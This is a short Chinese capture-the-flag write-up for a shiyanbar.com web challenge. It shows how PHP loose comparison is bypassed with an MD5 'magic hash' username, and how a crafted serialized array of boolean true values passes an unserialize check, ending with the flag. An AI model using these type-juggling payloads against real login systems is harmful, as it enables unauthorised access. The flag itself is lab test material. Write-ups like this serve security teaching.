http://www.shiyanbar.com/ctf/1810
天网管理系统
天网你敢来挑战嘛
格式：ctf{ }
解题链接： http://ctf5.shiyanbar.com/10/web1
查看源代码发现提示<!-- $test=$_GET['username']; $test=md5($test); if($test=='0') -->
md5($test) = ‘0’
百度0开头的md5值，随便拿一个带进username用就OK了。
得到一个提示：
/user.php?fame=hjkleffifer
进入 http://ctf5.shiyanbar.com/10/web1/user.php?fame=hjkleffifer
$unserialize_str = $_POST['password'];
$data_unserialize = unserialize($unserialize_str);
if($data_unserialize['user'] == '???' && $data_unserialize['pass']=='???')
{ print_r($flag); }
伟大的科学家php方言道：成也布尔，败也布尔。 回去吧骚年
把复杂的数据类型压缩到一个字符串中
serialize() 把变量和它们的值编码成文本形式
unserialize() 恢复原先变量
弱类型，bool的true和任意字符串弱类型相等，所以构造的user(bool)和password(bool)的值为true即可。
<?php
$payload = array('user'=>true,'pass' => true);
echo serialize($payload);
?>
得到
a:2:{s:4:"user";b:1;s:4:"pass";b:1;}
user:admin
password: a:2:{s:4:"user";b:1;s:4:"pass";b:1;}
得到
ctf{dwduwkhduw5465}